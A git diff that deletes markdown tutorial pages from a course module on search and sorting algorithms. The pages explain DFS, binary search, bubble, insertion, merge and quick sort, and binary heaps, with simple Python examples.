-**Depth First Search** (**DFS**), like the **Breadth-First Search** (**BFS**) we just explored, is an algorithm for traversing or searching tree or graph data structures. The algorithm starts at the root node (selecting some arbitrary node as the root node in the case of a graph) and explores as far as possible along each branch before backtracking.
-
-
-
-As in the example given above, DFS algorithm traverses from S to A to D to G to E to B first, then to F and lastly to C. It employs the following rules.
-
-- **Rule 1** − Visit the adjacent unvisited vertex. Mark it as visited. Display it. Push it in a stack.
-- **Rule 2** − If no adjacent vertex is found, pop up a vertex from the stack. (It will pop up all the vertices from the stack, which do not have adjacent vertices.)
-- **Rule 3** − Repeat Rule 1 and Rule 2 until the stack is empty.
-
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/4.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/4.md
deleted file mode 100755
index 88c38d1b..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/4.md
+++ /dev/null
@@ -1,92 +0,0 @@
-
-
-
-
-
-
-This is the code used to test our DFS algorithm. We can use this block to check if our function works.
-
-```python
-g = Graph()
-g.addEdge(0, 1)
-g.addEdge(0, 2)
-g.addEdge(1, 2)
-g.addEdge(2, 0)
-g.addEdge(2, 3)
-g.addEdge(3, 3)
-
-print("Following is DFS from (starting from vertex 2)")
-g.DFS(2)
-```
-
-The DFS testing is essentially identical to the BFS testing as it serves the same purpose: to construct a graph with vertices that we can traverse. The only difference is we call `g.DFS(2)` to start the DFS algorithm from vertex 2, as opposed to calling `g.BFS(2)`, which would start the BFS algorithm.
-
-Identical to BFS, the first step in implementing a DFS algorithm is to construct a `Graph` class with an `addEdge` function.
-
-```python
-from collections import defaultdict
-
-class Graph:
-
- def __init__(self):
-
- self.graph = defaultdict(list)
-
- def addEdge(self, u, v):
- self.graph[u].append(v)
-```
-
-The `DFSUtil` function will be the powerhouse of implementing the DFS algorithm. As arguments, the function takes the vertex we are currently observing (`v`) and the `visited` array. Similar to that of BFS, the `visited` array is used to determine if a certain vertex has already been visited. If `visited[v] = True`, then the vertex `v` has been visited. Likewise, if `visited[v] = False`, `v` has not been visited.
-
-Here is the code for `DFSUtil` in full. We will break it down step-by-step, but first, I wish to bring your attention to something important in these lines. What do you notice about the last line of the code? It seems like `DFSUtil` is calling the function `DFSUtil`. That is, `DFSUtil` is calling itself! When a function calls itself in its own body, it is known as a recursive function. Recognizing this is essential to understanding how the DFS algorithm is implemented.
-
-```python
- def DFSUtil(self, v, visited):
- visited[v] = True
- print(v, end = ' ')
- for i in self.graph[v]:
- if visited[i] == False:
- self.DFSUtil(i, visited)
-
- def DFS(self, v):
- visited = [False] * (len(self.graph))
- self.DFSUtil(v, visited)
-```
-
-Back to the line-by-line breakdown of the code.
-
-`DFSUtil` begins by marking the vertex `v` as visited by changing `visited[v] = True`. It then prints the vertex to the console to let the user know that `v` has just been visited.
-
-```python
-visited[v] = True
-print(v, end = ' ')
-```
-
-The function then enters the `for` loop. Just as in BFS, this `for` loop runs for each of the adjacent vertices of `v`. That is, `self.graph[v]` contains a list of all of the vertices from which there is an edge from `v` to it (see chart labeled *Graph In Terms of Adjacent Vertices* in the diagram below). The variable `i` stores this adjacent vertex throughout the `for` loop. The `for` loop contains an `if` statement that checks if said adjacent vertex (`i`) is unvisited (`visited[i] == False`). If this is the case, we recurse and call `DFSUtil`again, passing as arguments the adjacent vertex (`i`) and our updated `visited` array.
-
-```python
- for i in self.graph[v]:
- if visited[i] == False:
- self.DFSUtil(i, visited)
-```
-
-Now, you might be wondering, why does this function call itself? DFS is supposed to have a stack, but I don't see any such data structure? To answer these concerns, we must diverge from the code and discuss how arguments are passed to a function.
-
-Arguments to a function are passed through a stack, which refers to a data structure with the **L**ast-**I**n **F**irst-**O**ut (**LIFO**) functionality. When a function is called, each argument is pushed on to a stack. When a function terminates, all of the arguments are popped from the stack.
-
-While this does indeed occur for all arguments passed to a function, for simplicity's sake, we are going to focus our attention on how the `v` argument is pushed and popped from the stack everytime `DFSUtil` is called and terminates.
-
-The diagram below explains DFS step-by-step with special attention given to how recursion, passing arguments, and the stack play a role:
-
-
-
-Often with recursive functions, we require a driver function to set-up certain values or variables before calling the recursive function. For the DFS algorithm, we have the `DFS` function serving as a driver function for the `DFSUtil` function. It first marks all vertices as not visited (the `visited` array only has `False` values) and then calls `DFSUtil` to visit the nodes.
-
-```python
- def DFS(self, v):
- visited = [False] * (len(self.graph))
- self.DFSUtil(v, visited)
-```
-
-
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/5.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/5.md
deleted file mode 100755
index 78ad511b..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/5.md
+++ /dev/null
@@ -1,41 +0,0 @@
-
-
-
-
-
-
-Binary search compares the target value to the middle element of the array. If they are not equal, the half in which the target cannot lie is eliminated and the search continues on the remaining half, again taking the middle element to compare to the target value, and repeating this until the target value is found. If the search ends with the remaining half being empty, the target is not in the array.
-
-##### How Binary Search Works?
-
-For a binary search to work, it is mandatory for the target array to be sorted. We shall learn the process of binary search with a pictorial example. The following is our sorted array and let us assume that we need to search the location of value 25 using binary search.
-
-
-
-First, we shall determine half of the array by using this formula −
-
-```
-mid = low + (high - low) / 2
-```
-
-Here it is, 0 + (9 - 0 ) / 2 = 4 (integer value of 4.5). So, 4 is the mid of the array.
-
-
-
-Now we compare the value stored at location 4, with the value being searched, i.e. 25. We find that the value at location 4 is 24, which is not a match. As the value is greater than 24 and we have a sorted array, so we also know that the target value must be in the upper portion of the array.
-
-
-
-We will find the mid again and determine it to be 5 + (9-5) / 2 = 7. Since the value at location 7 is 41, we know that the target value should be in the lower portion of the remaining array (at an index less than 7, but greater than 4).
-
-
-
-Hence, we calculate the mid again. This time it is 5.
-
-We compare the value stored at location 5 with our target value. We find that it is a match.
-
-
-
-We conclude that the target value 25 is stored at location 5.
-
-Binary search halves the searchable items and thus reduces the count of comparisons to be made to very less numbers.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/6.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/6.md
deleted file mode 100755
index 0530e71b..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act1_SearchingAndSorting/6.md
+++ /dev/null
@@ -1,149 +0,0 @@
-
-
-
-
-
-
-**Implementing a Binary Search Algorithm**
-
-
-
-This may seem like a daunting task. Let's break it down.
-
-Binary Search takes as arguments an array `arr` and three integers, `l`, `r`, and `x`. `l` is the leftmost index of the array we are searching and `r` is the rightmost index of the array we are searching. `x` is the element we are looking for.
-
-``` python
-# Function call
-result = binarySearch(arr, 0, len(arr)-1, x)
-```
-
-This is why the first function call passes in 0 for `l` and `len(arr) - 1` for `r` as we are searching the entire array, from index 0 to the array length minus 1. `l` and `r` will become important in the recursive calls made in the function. These values will track the section we search in the list of values, and can change with each recursive call of `binarySearch`. We will use recursion, that is, the function calling itself until a base case is met, in order to continuously cut the size of the array in half to more easily find our target value.
-
-We start our binary search function by setting up a base case.
-
-```python
-def binarySearch (arr, l, r, x):
- if r >= l:
-```
-
-We only proceed with the algorithm if the right index is greater than a left index (`if r >= l`). When `r < l`, then we know that the element is not in the array, as the start of the array (represented by `l`) must always be before the end of the array (represented by `r`).
-
-If we pass this test, we find the index of the middle element using the formula:
-
-```python
- mid = l + (r - l) / 2
-```
-
-This is analogous to the formula shown in the previous section:
-
-```
- mid = low + (high - low) / 2
-```
-
-Note that the formula uses integer division, meaning that any decimal places are truncated. For example,
-
-```
- mid = 5 + (4-1) / 2 = 5 + 3/2 = 5 + 1 = 6
-```
-
-Note that the following `if`, `elif` and `else` statements are nested within the first `if r >= 1:` statement.
-We then proceed if the element we are looking for (`x`) is indeed the middle element. If this is the case, we have found the element and the algorithm returns the middle index and terminates. This is seen here:
-
-```python
- if arr[mid] == x:
- return mid
-```
-
-If the target element's value is less than the middle element's value, that implies that the target element should be to the left of the middle element (remember, the array is sorted). This case is handled by the following `elif` statement.
-
-````python
- elif arr[mid] > x:
- return binarySearch(arr, l, mid-1, x)
-````
-
-The body of the `elif` statement performs a recursive call to `binarySearch`, changing the right endpoint (`r`) to `mid - 1`. This is done as we had determined that `x` must be on the left side of the array. The set of values we are now searching through are only those from indices `l` to `mid - 1`. By doing this recursive call, we have essentially split our problem in half.
-
-Our else statement accounts for any case that the target element is not in the middle and it is not to the left, meaning it must be to the right of `mid` (and greater in value than the middle element's value).
-
-```python
- else:
- return binarySearch(arr, mid + 1, r, x)
-```
-
-The body of the `else` statement performs a recursive call to `binarySearch` in a similar way to the `elif` statement. The difference here is that we had determined that `x` must be on the right side of `mid` and thus would be contained between the indices `mid + 1` and `r`. By doing this recursive call, the problem is again split in half.
-
-This diagram shows how the recursive calls work in finding an element `x`.
-
-
-
-The last case is reserved for when the element cannot be found. As stated earlier, this occurs when `r` < `l`. In this case, we return `-1` to signify that we could not find `x`. This `else` is in reference to the first `if` statement, which was a checkpoint to perform the rest of the algorithm described above. When that first condition isn't met, we skip over all of that code and execute the code in this statement.
-
-```python
- else:
- return -1
-```
-
-When does `r < l` occur? To understand this, let's go back to our recursive calls
-
-```python
- elif arr[mid] > x:
- return binarySearch(arr, l, mid-1, x)
-
- else:
- return binarySearch(arr, mid + 1, r, x)
-```
-
-In the first possible recursive call, we decrement `mid` and pass it to the argument `r`, without changing `l`. In the second possible recursive call, we increment `mid` and pass it to the argument `l`, without changing `r`. One can see that if the target element is not in between `l` and `r` everytime we shrink the size of the array (by adjusting `l` and `r`), eventually, we could have `l` cross (be greater than) `r` (either by passing in `mid - 1` for `r` or `mid + 1` for `l`).
-
-Here is how the algorithm would proceed when you are unable to find an element:
-
-
-
-Finally, we have the complete binary search algorithm coded in Python:
-
-```python
-# Python Program for recursive binary search.
-
-# Returns index of x in arr if present, else -1
-def binarySearch (arr, l, r, x):
-
- # Check base case
- if r >= l:
-
- mid = l + (r - l)/2
-
- # If element is present at the middle itself
- if arr[mid] == x:
- return mid
-
- # If element is smaller than mid, then it
- # can only be present in left subarray
- elif arr[mid] > x:
- return binarySearch(arr, l, mid-1, x)
-
- # Else the element can only be present
- # in right subarray
- else:
- return binarySearch(arr, mid + 1, r, x)
-
- else:
- # Element is not present in the array
- return -1
-
-# test your code!
-```
-
-This block of code is what we use to test if our function is working properly. Feel free to twink with it.
-
-```python
-arr = [ 2, 3, 4, 10, 40 ]
-x = 10
-
-# Function call
-result = binarySearch(arr, 0, len(arr)-1, x)
-
-if result != -1:
- print "Element is present at index % d" % result
-else:
- print "Element is not present in array"
-```
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/1.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/1.md
deleted file mode 100644
index 12202b78..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/1.md
+++ /dev/null
@@ -1,23 +0,0 @@
-
-
-
-
-
-
-#### Python Sorting Algorithms
-
-When a program takes in data, a lot of times we need to have the data be in some kind of order before being able to use it. Think of the last time you bought something online. You probably used different criteria to search for something whether that was by price, rating, size, or some other category.
-
-Behind the scenes a program is putting each object in order depending on your desired criteria. This is where sorting comes in. When humans manually categorize something such as a deck of cards, each person may choose to do so in a different style. Some may search for the aces, then the twos and so on or some may sort them by suit first. While there is no wrong way to arrive at a sorted sequence, there is a difference in efficiency between methods.
-
-Similarly, in Python, when we want to sort data from an input file, there are different systematic methods or **algorithms** that we can use to arrive at an ordered list.
-
-Though there isn't a single algorithm that's the most optimal in every circumstance, we will go over 4 of the most classic sorting algorithms:
-
-- Bubble sort
-- Mergesort
-- Insertion Sort
-- Quicksort
-
-
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/2.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/2.md
deleted file mode 100644
index 387895f4..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/2.md
+++ /dev/null
@@ -1,75 +0,0 @@
-
-
-
-
-
-
-Bubble Sort is considered to be one of the simplest sorting algorithms. The name comes from the fact that this method compares two adjacent elements and swaps them if they're not in order. This makes larger values "bubble to the top" (to the very end of the list), giving us a fully sorted list in the end.
-
-
-
-Lets break up this process into its logical steps, using the list shown above:
-
-
-
-1. Compare the first two numbers, if they are not sorted (the larger number comes before the smaller number), then swap the two. This assumes that you want the list elements to be sorted from smallest to largest. In our list, 6 comes before 5, so we swap the two. The list now looks like this:
-
-
-
-2. Move on from the first and compare the second and third values, swap if necessary. In our case, 6 now comes before 3 so we swap again:
-
-
-
-3. Continue down the list until reaching the last element. At this point the largest value has been sorted. In our example, 8 is the largest number. So at this point, 8 should now be at the very last position of the list:
-
-
-
-4. We finished the first pass of the list. Now, we start over again from the first number, 5 in our case, and repeat steps 1-3. This time, however, we continue down the list to the *second-to-last* element. This is because we can see that 8 is in the position it should be. It doesn't need to be swapped anymore. We then repeat the whole process until we arrive at the fully sorted list that we want:
-
-
-
-
-
-## Bubble Sort in Python
-
-```python
-def bubbleSort(bubble):
- for n in range(len(bubble)-1,0,-1):
-
-```
-
-Let's start with writing a function. We want to first identify the length of our list for when we start comparing elements. In the beginning, the length will simply be the original size of the list, but with every iteration this length will grow smaller. This is because as we fully sort more and more numbers, we reduce the number of elements we need to compare and swap the next time.
-
-```python
- for i in range(n):
- if bubble[i] > bubble[i+1]:
-```
-
-Here, we look at and compare two elements in our range. If the current element is smaller than the element next to it, they need to be swapped. Again, we are trying to sort an array of numbers from smallest to largest.
-
-```python
- temp = bubble[i]
- bubble[i] = bubble[i+1]
- bubble[i+1] = temp
-```
-
-This is a classic swap procedure that switches two elements in a list. We first make a temporary copy of the current element and store its value. Then, we set the value of the current element to the next element's value. Finally, we set the next element's value to the current element's *original* value, which we still have from our copy.
-
-We will continue comparing and swapping every pair of numbers until the entire list is sorted from smallest to largest.
-
-```python
-def bubbleSort(bubble):
- for n in range(len(bubble)-1,0,-1):
- for i in range(n):
- if bubble[i] > bubble[i+1]:
- temp = bubble[i]
- bubble[i] = bubble[i+1]
- bubble[i+1] = temp
-
-bubble = [14,46,43,27,57,41,45,21,70]
-bubbleSort(bubble)
-print(bubble)
-```
-
-To test if our sort function works, we can create a sample list and run our function.
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/3.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/3.md
deleted file mode 100644
index 95ebfa82..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/3.md
+++ /dev/null
@@ -1,67 +0,0 @@
-
-
-
-
-
-
-Insertion sort uproots the current element of a list, compares it to all previous elements that we have already looked it, and places it in the appropriate spot. Because of this, insertion sort only needs one pass to fully sort a list.
-
-
-
-Let's use an example list to illustrate the specific steps of the algorithm:
-
-
-
-1. We first take the second element and compare it to the first. If it is smaller, we place it before the first element. We are trying to sort the array from smallest to largest. After this initial step, our sample list will look like this:
-
-
-
-2. Move onto the next element, in this case 3. Since this is the third element, we compare it to the previous *two* elements. 3 is smaller than both 5 and 6, so it will be placed in the first position of our list. Our list now looks like this:
-
-
-
-3. We continue down the list and keep repeating this process, comparing the nth element with the n - 1 previous elements, and adjusting its position until we get a fully sorted array as shown below:
-
-
-
- ### Insertion Sort In Python
-
- ```python
- def insertionSort(arr):
- for i in range(1, len(arr)):
- key = arr[i]
- j = i-1
-
- ```
-
- First we create a function. We use a for loop to make a pass through our list and compare elements. We call the element we are currently looking at as `key`. The variable `j` is the name for a previous element we are comparing to `key`. We start at the second element of our list, `i = 1`.
-
-```python
- while j >= 0 and key < arr[j]:
- arr[j+1] = arr[j]
- j -= 1
-```
-
-Here, we shift any elements of our list that are bigger than `key` one position to the right, while making sure we don't go out of bounds on our indices.
-
- ```python
- arr[j + 1] = key
- ```
-
-When we finish shifting elements, and our function breaks out of the while loop, we need to make sure the element we were looking at (`key`) is in its proper place. We place it in the appropriate position in our list. Now, we can then start looking at the next element which becomes our new `key`.
-
- ```python
-def insertionSort(arr):
- for i in range(1, len(arr)):
- key = arr[i]
- j = i-1
- while j >= 0 and key < arr[j]:
- arr[j+1] = arr[j]
- j -= 1
- arr[j + 1] = key
-arr = [12, 11, 13, 5, 6]
-insertionSort(arr)
-print(arr)
- ```
-
- Use this block of code to test if our function is working properly.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/4.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/4.md
deleted file mode 100644
index 9ad11e99..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/4.md
+++ /dev/null
@@ -1,57 +0,0 @@
-
-
-
-
-
-
-If we pretend we have to sort a deck of cards, Mergesort can be thought of as dividing up the work by cutting the deck into smaller, more manageable groups and rearranging the cards before bringing it all back together.
-
-
-
-This algorithm is a little different from the previous algorithms we learned earlier since it requires dividing up the list into smaller parts before sorting everything together. We'll use a sample list again to show the workings of each concrete step:
-
-
-
-1. First, divide the list in half, or something close to it. It's alright if one half is bigger. This is just because there was an odd number of elements in our list. After this first division, our sample list now looks like this:
-
-
-
-2. Keep dividing up each list in half until every original element is by itself:
-
-
-
-3. Now, try and pair elements together in order. Here, we are trying to sort from smallest to largest. In our sample list, the `7` will have to be by itself:
-
-
-
-4. Now we move on to pairing groups of elements. We make sure to sort all the elements first before combining them. After this step, our sample list will first look like this:
-
-
-
- Now, we simply do one more sort-and-combine step to get our fully sorted list:
-
-
-
-### Merge Sort in Python (Part I)
-
-```python
-def mergeSort(alist):
- if len(alist) > 1:
- mid = len(alist) // 2 # integer division
-```
-
-Let's start off with creating a function. If the length of the list we are looking at is greater than 1, we know it might need sorting. We first create a variable called `mid` which finds the middle position of the list. We need this to be able to do the initial splitting of the list into two equal groups.
-
-```python
- lefthalf = alist[:mid]
- righthalf = alist[mid:]
-```
-
-These two lines split the list into two equal groups, if possible. `lefthalf` holds all the elements of our original list from the beginning up to (*but not including*) `mid`. `righthalf` then holds all of the elements from the `mid`, or middle, position all the way to the end.
-
-```
- mergeSort(lefthalf)
- mergeSort(righthalf)
-```
-
-Here we use recursion to split up the two halves of our list. We simply treat each part as another list and put it through the same splitting process we just went through. We keep doing this until we get to the place where we have each element on its own and ready to be placed into pairs. The code for actually sorting the elements and combining them into groups comes next.
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/5.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/5.md
deleted file mode 100644
index 7edd020b..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/5.md
+++ /dev/null
@@ -1,89 +0,0 @@
-
-
-
-
-
-
-### Merge Sort in Python (Part II)
-
-```python
- i = j = k = 0
- while i < len(lefthalf) and j < len(righthalf):
- if lefthalf[i] <= righthalf[j]:
- alist[k]=lefthalf[i]
- i=i+1
- else:
- alist[k]=righthalf[j]
- j=j+1
- k=k+1
-```
-
-At this point, we're ready to start combining elements. We have `lefthalf`,`righthalf`, and the original `alist` from where these two halves came from. (Note: when we say "original", it only means the list which was passed to *this* particular iteration of the **mergesort** function. We could be at any step in the overall splitting-sorting-combining process).
-
-We create three new variables: `i`, `j`, and `k`, to keep track of our position within `lefthalf`, `righthalf`, and `alist` respectively. Now we start iterating through both `lefthalf` and `righthalf`, comparing them element-by-element. Whichever element is the smaller of the two gets placed in the appropriate position in our `alist`. We keep doing this until we finish sorting and combining all elements in both halves.
-
-```python
- while i < len(lefthalf):
- alist[k]=lefthalf[i]
- i=i+1
- k=k+1
-
- while j < len(righthalf):
- alist[k]=righthalf[j]
- j=j+1
- k=k+1
-```
-
-There might be situations where we still have elements "left over" after this combining process. These elements haven't been sorted and combined yet. The most common example of this happening is when we have an odd number of elements in our main list and the two halves aren't equal. In this case, we simply tack on these elements to the end of our main list. We'll deal with them in a later step.
-
-```python
-def printList(arr):
- for i in range(len(arr)):
- print(arr[i],end=" ")
- print()
-```
-
-We use this function for when we want to print a list without any brackets or commas showing up in our output.
-
-```python
-def mergeSort(alist):
- if len(alist) > 1:
- mid = len(alist) // 2 # integer division
- lefthalf = alist[:mid]
- righthalf = alist[mid:]
- mergeSort(lefthalf)
- mergeSort(righthalf)
-
- i = 0
- j = 0
- k = 0
- while i < len(lefthalf) and j < len(righthalf):
- if lefthalf[i] <= righthalf[j]:
- alist[k]=lefthalf[i]
- i=i+1
- else:
- alist[k]=righthalf[j]
- j=j+1
- k=k+1
-
- while i < len(lefthalf):
- alist[k]=lefthalf[i]
- i=i+1
- k=k+1
-
- while j < len(righthalf):
- alist[k]=righthalf[j]
- j=j+1
- k=k+1
-
-def printList(arr):
- for i in range(len(arr)):
- print(arr[i],end=" ")
- print()
-
-alist = [14,46,43,27,57,41,45,21,70]
-mergeSort(alist)
-printList(alist)
-```
-
-Use this code to call our functions and ensure they work properly.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/6.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/6.md
deleted file mode 100644
index e22eac62..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act2_Sorting/6.md
+++ /dev/null
@@ -1,108 +0,0 @@
-
-
-
-
-
-
-Quick sort may be the hardest of the 4 to understand as it relies on something called a "pivot value" to compare and swap numbers around.
-
-
-
-We will use a sample list to demonstrate each step of the algorithm. This is the same list that we saw in our Bubble Sort and Insertion Sort examples:
-
-
-
-1. We first choose an element to be our "pivot point". There are many different strategies on how to pick the pivot point. For our example, we will choose a random element, `3` as our pivot. The code below chooses to always pick the last element in a list as the pivot.
-
-
-
-2. Start at the left of the list and continue through until you come across a value higher than that of the pivot. In our case, we didn't need to move. The first element `6` is already larger than our pivot.
-
-
-
-3. Do the same starting from the right end of the list. Move left until you come across a value smaller than that the pivot. That would be the `2` in our example, the second-to-last element in the list.
-
-
-
-4. Swap these two values.
-
-
-
-5. Continue moving in through the list, repeating steps 2-4 until both sides meet the pivot point. At this point, our list should look like this:
-
-
-
-6. We're done with `3`. Now we select a different pivot and repeat the process all over again. We keep doing this until we get a fully sorted list, as shown below:
-
-
-
-## Quick Sort in Python
-
-```python
-def partition(arr,low,high):
- i = ( low-1 )
- pivot = arr[high]
-```
-
-The **partition** function will be responsible for actually placing our pivot point (always the last element of the list in this version) in its proper place. Notice what this means. There is no "right side" of the list as far as our pivot is concerned. Only a "left side". The goal remains the same however: all the numbers smaller than the pivot need to be to its left, and all larger numbers need to be to its right.
-
-In this system, we will attempt to always keep track of two elements : a smaller element and a bigger element. Here, we use `i` to represent the smaller element, specifically its position. We use the last element of the list as our pivot.
-
-```python
- for j in range(low, high):
- if arr[j] < pivot:
- i = i+1
- arr[i],arr[j] = arr[j],arr[i]
-```
-
-`j` will represent the larger element. The `i`'th element should always be smaller than the `j`'th element. This means that we want the elements of the list to be in increasing order as we pass through it. We iterate through our list using `j`, doing nothing if the `j`'th element is bigger than the pivot.
-
-If the `j`'th element is smaller than our pivot, we increment `i`. Notice what happens! The `i`'th element is now *bigger* than the `j`'th element. So, we need to swap them.
-
-```python
- arr[i+1], arr[high] = arr[high], arr[i+1]
- return ( i+1 )
-```
-
-After we have finished iterating through our list, we should have sorted every element we could in this pass. All that's left is to put the pivot element into its proper place within our list. With the way we decided when to increment `i` in our algorithm, all elements to the right of the `i`'th element will be *bigger* than the pivot element. So, the place to insert our pivot element will be immediately to the right of the `i`'th element, or at the `i+1`'th position. We return this number to be used when we run **quickSort** again.
-
-```python
-def quickSort(arr,low,high):
- if low < high:
- pi = partition(arr,low,high)
- quickSort(arr, low, pi-1)
- quickSort(arr, pi+1, high)
-```
-
-This is where we define the actual **quickSort** function. Notice the role of `pi` here. By the time we call the **partition** function and get the value of `pi`, we have placed the pivot element in its proper place. This means we only need to worry about sorting all the elements *before* it and *after* it. That's why we use `pi` to split our list into two and call **quicksort** on both halves.
-
-```python
-def partition(arr,low,high):
- i = low - 1
- pivot = arr[high]
-
- for j in range(low, high):
- if arr[j] < pivot:
- i = i+1
- arr[i],arr[j] = arr[j],arr[i]
-
- arr[i+1],arr[high] = arr[high],arr[i+1]
- return i+1
-
-def quickSort(arr,low,high):
- if low < high:
- pi = partition(arr,low,high)
-
- quickSort(arr, low, pi-1)
- quickSort(arr, pi+1, high)
-
-#Driver Code
-arr = [10, 7, 8, 9, 1, 5]
-n = len(arr)
-quickSort(arr,0,n-1)
-print ("Sorted array is:")
-for i in range(n):
- print ("%d" %arr[i])
-```
-
-Use this code to call our functions and ensure they work properly.
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/1.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/1.md
deleted file mode 100644
index d0c7a066..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/1.md
+++ /dev/null
@@ -1,49 +0,0 @@
-
-
-
-
-
-
-#### Binary Heaps:
-
-One interesting type of tree data structure is a **Binary Heap**, which is a type of binary tree. A binary tree can only have 0, 1, or 2 children. Binary Heaps have the following properties:
-
-- All nodes have completely filled children.
-- New children must be added to the left-most available position.
-- Is either an instance of a Min Heap or Max Heap.
-
-A **Min Heap** is a heap where the root has the smallest key and the keys on the nodes get larger as you go down the tree. A **Max Heap** is a heap where the root has the largest key and the keys on the nodes get smaller as you go down the tree.
-
-Examples of **Binary Heaps**:
-
-
-
-The image on the left is an example of a **Min Heap**. The image on the right is an example of a **Max Heap**.
-
-####Valid vs. Invalid Max Heaps:
-
-
-
-One useful attribute of **Binary Heaps** is the ability to find the min/max of the tree in **O(1)** time because the root of a **Min Heap** is the min of the data and the root of a **Max Heap** is the max of the data.
-
-
-
-### Binary Heap Implementation:
-
-Given a list of elements, we want to be able to convert it into a Binary Heap. Below is an example of a list of numbers represented by a Min Heap:
-
-
-
-Now to view this programmatically, we will define a Binary Heap implementation representing a Min Heap. We will begin our implementation of a binary heap with the constructor. Since the entire binary heap can be represented by a single list, all the constructor (`__init__`) will do is initialize the list and an attribute `currentSize` to keep track of the current size of the heap. You will notice that an empty binary heap has a single zero as the first element of `heapList` and that this zero is not used, but is there so that simple integer division can be used in later methods.
-
-```python
-class BinHeap:
- def __init__(self):
- self.heapList = [0]
- self.currentSize = 0
-```
-
-
-
-
-
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/2.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/2.md
deleted file mode 100644
index d7b835dd..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/2.md
+++ /dev/null
@@ -1,38 +0,0 @@
-
-
-
-
-
-
-The next method we will implement is `insert`. The easiest, and most efficient, way to add an item to a list is to simply append the item to the end of the list. The good news about appending is that it guarantees that we will maintain the complete tree property. The bad news about appending is that we will very likely violate the heap structure property. However, it is possible to write a method that will allow us to regain the heap structure property by comparing the newly added item with its parent. If the newly added item is less than its parent, then we can swap the item with its parent. The figure below shows the series of swaps needed to percolate the newly added item up to its proper position in the tree:
-
-
-
-> Figure 2: Percolate the New Node up to Its Proper Position
-
-
-
-Notice that when we percolate an item up, we are restoring the heap property between the newly added item and the parent. We are also preserving the heap property for any siblings. Of course, if the newly added item is very small, we may still need to swap it up another level. In fact, we may need to keep swapping until we get to the top of the tree.
-
-Below depicts the `percUp` method, which percolates a new item as far up in the tree as it needs to go to maintain the heap property. Here is where our wasted element in `heapList` is important. Notice that we can compute the parent of any node by using simple integer division. The parent of the current node can be computed by dividing the index of the current node by 2.
-
-```python
-def percUp(self,i):
- while i // 2 > 0:
- if self.heapList[i] < self.heapList[i // 2]:
- tmp = self.heapList[i // 2]
- self.heapList[i // 2] = self.heapList[i]
- self.heapList[i] = tmp
- i = i // 2
-```
-
-
-
-We are now ready to write the `insert` method (see below). Most of the work in the `insert` method is really done by `percUp`. Once a new item is appended to the tree, `percUp` takes over and positions the new item properly.
-
-```python
-def insert(self,k):
- self.heapList.append(k)
- self.currentSize = self.currentSize + 1
- self.percUp(self.currentSize)
-```
\ No newline at end of file
diff --git a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/3.md b/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/3.md
deleted file mode 100644
index c0d3066c..00000000
--- a/Module4.3_Search_and_Sorting_Algorithms/activities/Act3_BinaryHeaps/3.md
+++ /dev/null
@@ -1,50 +0,0 @@
-
-
-
-
-
-
-With the `insert` method properly defined, we can now look at the `delMin` method. Since the heap property requires that the root of the tree be the smallest item in the tree, finding the minimum item is easy. The hard part of `delMin` is restoring full compliance with the heap structure and heap order properties after the root has been removed. We can restore our heap in two steps. First, we will restore the root item by taking the last item in the list and moving it to the root position. Moving the last item maintains our heap structure property. However, we have probably destroyed the heap order property of our binary heap. Second, we will restore the heap order property by pushing the new root node down the tree to its proper position. Below shows the series of swaps needed to move the new root node to its proper position in the heap:
-
-
-
-> Figure 3: Percolating the Root Node down the Tree
-
-
-
-In order to maintain the heap order property, all we need to do is swap the root with its smallest child less than the root. After the initial swap, we may repeat the swapping process with a node and its children until the node is swapped into a position on the tree where it is already less than both children. The code for percolating a node down the tree is found in the `percDown` and `minChild` methods as seen below:
-
-```python
-def percDown(self,i):
- while (i * 2) <= self.currentSize:
- mc = self.minChild(i)
- if self.heapList[i] > self.heapList[mc]:
- tmp = self.heapList[i]
- self.heapList[i] = self.heapList[mc]
- self.heapList[mc] = tmp
